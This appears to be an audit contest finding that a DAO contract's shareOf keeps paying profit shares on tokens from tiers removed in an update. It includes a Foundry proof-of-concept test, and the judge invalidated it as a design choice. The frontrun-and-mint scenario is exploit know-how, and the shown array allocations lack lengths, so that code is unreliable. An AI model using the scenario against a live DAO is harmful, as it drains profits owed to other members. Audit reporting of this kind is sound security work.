Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: medium
Invalid

Exploitable Profit Claim Mechanism Following DAO Tier Updates

Description

The current profit distribution mechanism enables users to claim profits based on token holdings, even if those tokens are from tiers that have been deprecated or removed. Malicious users may exploit this by minting large quantities of lower-level tokens prior to a tier configuration update, allowing them to continue claiming profits without contributing to the DAO’s current structure. This flaw creates a potential exploit path in case of public and private DAO, undermining the fairness and economic balance within the DAO.

Impact

  • Users with deprecated tokens can continue to claim profits, even though these tokens no longer provide value to the DAO’s ecosystem

  • Excessive profit claimed by users with deprecated tokens could deplete the DAO’s profit pool, diminishing rewards for active, compliant members

  • If members perceive the profit distribution as unfair, it could damage the DAO’s reputation and dissuade future participation

Potential Exploit Scenario

  1. Consider a public DAO that initially supports a 7-tier membership structure. Before an update to reduce the number of tiers using MembershipFactory::updateDAOMembership() (for instance, from 7 to 5), some users could anticipate the change and "frontrun" the updateDAOMembership function. By doing so, they could mint a large quantity of tokens at tiers 6 or 7 at a lower price before the update takes effect.

  2. Once the tier update reduces the total tiers to 5, no further tokens can be minted at the now-deprecated tiers 6 and 7. However, the MembershipERC1155::shareOf() function continues to calculate each user’s profit share based on token balances across all original tiers (including 6 and 7). Since the function does not account for deprecated tiers, the malicious actors or some users can now claim an outsized share of the DAO’s profit pool. This effectively grants them disproportionate profits compared to other users, based on tokens held in tiers that no longer hold legitimate standing within the DAO’s structure.

Proof of Concept

  • Install foundry in the project by running the following commands:

    1. Initialize git if not initialized:

    git init
    1. Install foundry:

    npm i --save-dev @nomicfoundation/hardhat-foundry --force
    1. add to hardhat.config.ts:

    require("@nomicfoundation/hardhat-foundry");
    1. Create foundry.toml

    npx hardhat init-foundry
  • Now create a new file in the test folder:

    test/DaoTierUpdate.t.sol
  • Add these lines to the file:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.20;
import {Test, console} from "../lib/forge-std/src/Test.sol";
import {MembershipERC1155} from "../contracts/dao/tokens/MembershipERC1155.sol";
import {MembershipFactory} from "../contracts/dao/MembershipFactory.sol";
import {CurrencyManager} from "../contracts/dao/CurrencyManager.sol";
import {DAOInputConfig, DAOType, TierConfig} from "../contracts/dao/libraries/MembershipDAOStructs.sol";
import {OWPERC20} from "../contracts/shared/testERC20.sol";
import {IMembershipERC1155} from "../contracts/dao/interfaces/IERC1155Mintable.sol";
import {IERC165} from "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import {IERC1155} from "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
contract PoC is Test {
MembershipERC1155 public membershipERC1155;
MembershipFactory public membershipFactory;
CurrencyManager public currencyManager;
OWPERC20 public currency;
address opWallet;
address deployer;
address daoCreator;
address user;
bytes32 public constant OWP_FACTORY_ROLE = keccak256("OWP_FACTORY_ROLE");
bytes32 public constant DAO_CREATOR = keccak256("DAO_CREATOR");
function setUp() public {
opWallet = makeAddr("opWallet");
deployer = makeAddr("deployer");
daoCreator = makeAddr("daoCreator");
user = makeAddr("user");
vm.startPrank(deployer);
// Deploy MembershipERC1155
membershipERC1155 = new MembershipERC1155();
// Deploy CurrencyManager
currencyManager = new CurrencyManager();
currency = new OWPERC20("Currency", "CUR");
// Deploy MembershipFactory
membershipFactory = new MembershipFactory(address(currencyManager), opWallet, "baseUri", address(membershipERC1155));
currencyManager.addCurrency(address(currency));
vm.stopPrank();
}
function testShareOfRemainsSame() public {
DAOInputConfig memory daoInputConfig = DAOInputConfig({
ensname: "Test.eth",
daoType: DAOType.PUBLIC,
currency: address(currency),
maxMembers: 200,
noOfTiers: 7
});
TierConfig[] memory tierConfigs = new TierConfig[]();
tierConfigs[0] = TierConfig({
amount: 10,
price: 3200,
power: 32,
minted: 0
});
tierConfigs[1] = TierConfig({
amount: 10,
price: 1600,
power: 16,
minted: 0
});
tierConfigs[2] = TierConfig({
amount: 10,
price: 800,
power: 8,
minted: 0
});
tierConfigs[3] = TierConfig({
amount: 10,
price: 400,
power: 4,
minted: 0
});
tierConfigs[4] = TierConfig({
amount: 10,
price: 200,
power: 2,
minted: 0
});
tierConfigs[5] = TierConfig({
amount: 10,
price: 100,
power: 1,
minted: 0
});
tierConfigs[6] = TierConfig({
amount: 10,
price: 50,
power: 1,
minted: 0
});
// Create DAO
vm.prank(daoCreator);
address proxy = membershipFactory.createNewDAOMembership(daoInputConfig, tierConfigs);
currency.mint(user, 1e20);
vm.startPrank(user);
currency.approve(address(membershipFactory), 1e20);
// user minting 10 tokens
for(uint i=0; i<10; i++) {
membershipFactory.joinDAO(proxy, 6);
}
vm.stopPrank();
// Getting user share of DAO
(bool success, bytes memory returndata) = proxy.call(abi.encodeWithSignature("shareOf(address)", user));
require(success, "ShareOf call failed");
uint256 shareBeforeUpdate = abi.decode(returndata, (uint256));
console.log("Share before update: ", shareBeforeUpdate);
// Update DAO tier configuration to 4 tiers
TierConfig[] memory tierConfigsNew = new TierConfig[]();
tierConfigsNew[0] = TierConfig({
amount: 10,
price: 3200,
power: 32,
minted: 0
});
tierConfigsNew[1] = TierConfig({
amount: 10,
price: 1600,
power: 16,
minted: 0
});
tierConfigsNew[2] = TierConfig({
amount: 10,
price: 800,
power: 8,
minted: 0
});
tierConfigsNew[3] = TierConfig({
amount: 10,
price: 400,
power: 4,
minted: 0
});
// External caller is updating the DAO tier configuration
vm.prank(deployer);
membershipFactory.updateDAOMembership("Test.eth", tierConfigsNew);
// User share of DAO after tier configuration update
(bool success2, bytes memory returndatanew) = proxy.call(abi.encodeWithSignature("shareOf(address)", user));
require(success2, "ShareOf call failed");
uint256 shareAfterUpdate = abi.decode(returndatanew, (uint256));
console.log("Share after update: ", shareAfterUpdate);
// Share of user remains same after tier configuration update
// So, user can keep getting the same share of profits even though these tokens are not part of the DAO anymore
assertEq(shareBeforeUpdate, shareAfterUpdate);
}
}

Run the test:

forge test --match-test testShareOfRemainsSame

Tools Used

Manual Review

Recommended Mitigation

  1. Exclude deprecated tiers in profit calculations. Adjust the shareOf function to calculate profit shares solely based on tokens in active tiers, preventing claims from deprecated tiers.

Updates

Lead Judging Commences

0xbrivan2 Lead Judge
7 months ago
0xbrivan2 Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.